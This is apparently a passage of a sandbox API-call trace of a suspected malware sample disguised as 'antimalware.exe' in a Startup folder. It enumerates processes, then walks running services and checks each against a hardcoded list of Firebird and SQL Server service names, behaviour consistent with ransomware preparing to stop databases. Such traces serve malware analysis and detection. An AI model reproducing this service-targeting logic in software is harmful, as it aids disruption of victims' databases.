	[0137.276] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.276] lstrlenW (lpString="svchost.exe") returned 11
	[0137.277] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.277] lstrlenW (lpString="svchost.exe") returned 11
	[0137.277] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.278] lstrlenW (lpString="svchost.exe") returned 11
	[0137.278] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.325] lstrlenW (lpString="svchost.exe") returned 11
	[0137.326] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0137.327] lstrlenW (lpString="spoolsv.exe") returned 11
	[0137.327] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.328] lstrlenW (lpString="svchost.exe") returned 11
	[0137.330] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0137.331] lstrlenW (lpString="audiodg.exe") returned 11
	[0137.332] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0137.334] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0137.334] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0137.341] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0137.341] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0137.342] lstrlenW (lpString="sihost.exe") returned 10
	[0137.342] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0137.343] lstrlenW (lpString="Memory Compression") returned 18
	[0137.343] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.344] lstrlenW (lpString="svchost.exe") returned 11
	[0137.344] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0137.345] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0137.345] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0137.346] lstrlenW (lpString="taskhostw.exe") returned 13
	[0137.346] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0137.347] lstrlenW (lpString="msoia.exe") returned 9
	[0137.347] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0137.348] lstrlenW (lpString="taskhostw.exe") returned 13
	[0137.348] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0137.348] lstrlenW (lpString="explorer.exe") returned 12
	[0137.348] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0137.349] lstrlenW (lpString="SearchUI.exe") returned 12
	[0137.349] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0137.350] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0137.350] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0137.351] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0137.351] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0137.352] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0137.352] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0137.353] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0137.353] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0137.354] lstrlenW (lpString="cmd.exe") returned 7
	[0137.354] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0137.355] lstrlenW (lpString="conhost.exe") returned 11
	[0137.355] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0137.360] CloseHandle (hObject=0x438) returned 1
	[0137.360] Sleep (dwMilliseconds=0x1f4) 
	[0137.893] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0638
	[0137.894] EnumServicesStatusExW (in: hSCManager=0x45b0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0137.894] GetLastError () returned 0xea
	[0137.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x4578088
	[0137.894] EnumServicesStatusExW (in: hSCManager=0x45b0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4578088, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4578088, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0137.895] CloseServiceHandle (hSCObject=0x45b0638) returned 1
	[0137.895] lstrlenW (lpString="AppXSvc") returned 7
	[0137.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0137.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0137.896] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0137.896] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0137.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0137.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0137.896] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0137.896] lstrlenW (lpString="Audiosrv") returned 8
	[0137.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0137.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0137.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0137.896] lstrlenW (lpString="BFE") returned 3
	[0137.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0137.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0137.896] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0137.896] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0137.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0137.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0137.896] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0137.896] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0137.897] lstrlenW (lpString="CDPSvc") returned 6
	[0137.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0137.897] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0137.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0137.897] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0137.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0137.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0137.897] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0137.897] lstrlenW (lpString="CryptSvc") returned 8
	[0137.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0137.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0137.897] lstrlenW (lpString="DcomLaunch") returned 10
	[0137.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0137.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0137.898] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0137.898] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0137.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0137.898] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0137.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0137.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0137.898] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0137.898] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0137.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0137.898] lstrlenW (lpString="Dhcp") returned 4
	[0137.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0137.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0137.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0137.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0137.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0137.910] lstrlenW (lpString="Dnscache") returned 8
	[0137.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0137.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0137.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0137.910] lstrlenW (lpString="DPS") returned 3
	[0137.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0137.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0137.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0137.910] lstrlenW (lpString="DusmSvc") returned 7
	[0137.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0137.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0137.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0137.910] lstrlenW (lpString="EventLog") returned 8
	[0137.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0137.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0137.910] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0137.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0137.910] lstrlenW (lpString="EventSystem") returned 11
	[0137.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0137.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0137.911] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0137.911] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0137.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0137.911] lstrlenW (lpString="FontCache") returned 9
	[0137.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0137.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0137.911] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0137.911] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0137.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0137.911] lstrlenW (lpString="gpsvc") returned 5
	[0137.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0137.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0137.911] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0137.911] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0137.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0137.911] lstrlenW (lpString="iphlpsvc") returned 8
	[0137.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0137.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0137.911] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0137.911] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0137.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0137.911] lstrlenW (lpString="KeyIso") returned 6
	[0137.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0137.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0137.911] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0137.911] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0137.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0137.911] lstrlenW (lpString="LanmanServer") returned 12
	[0137.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0137.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0137.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0137.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0137.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0137.912] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0137.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0137.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0137.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0137.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0137.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0137.912] lstrlenW (lpString="lfsvc") returned 5
	[0137.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0137.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0137.912] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0137.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0137.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0137.912] lstrlenW (lpString="lmhosts") returned 7
	[0137.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0137.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0137.912] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0137.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0137.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0137.912] lstrlenW (lpString="LSM") returned 3
	[0137.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0137.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0137.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0137.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0137.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0137.913] lstrlenW (lpString="MpsSvc") returned 6
	[0137.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0137.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0137.913] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0137.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0137.913] lstrlenW (lpString="NcbService") returned 10
	[0137.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0137.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0137.913] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0137.913] lstrlenW (lpString="netprofm") returned 8
	[0137.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0137.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0137.913] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0137.913] lstrlenW (lpString="NgcSvc") returned 6
	[0137.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0137.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0137.913] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0137.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0137.913] lstrlenW (lpString="NlaSvc") returned 6
	[0137.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0137.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0137.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0137.914] lstrlenW (lpString="nsi") returned 3
	[0137.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0137.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0137.914] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0137.914] lstrlenW (lpString="PcaSvc") returned 6
	[0137.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0137.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
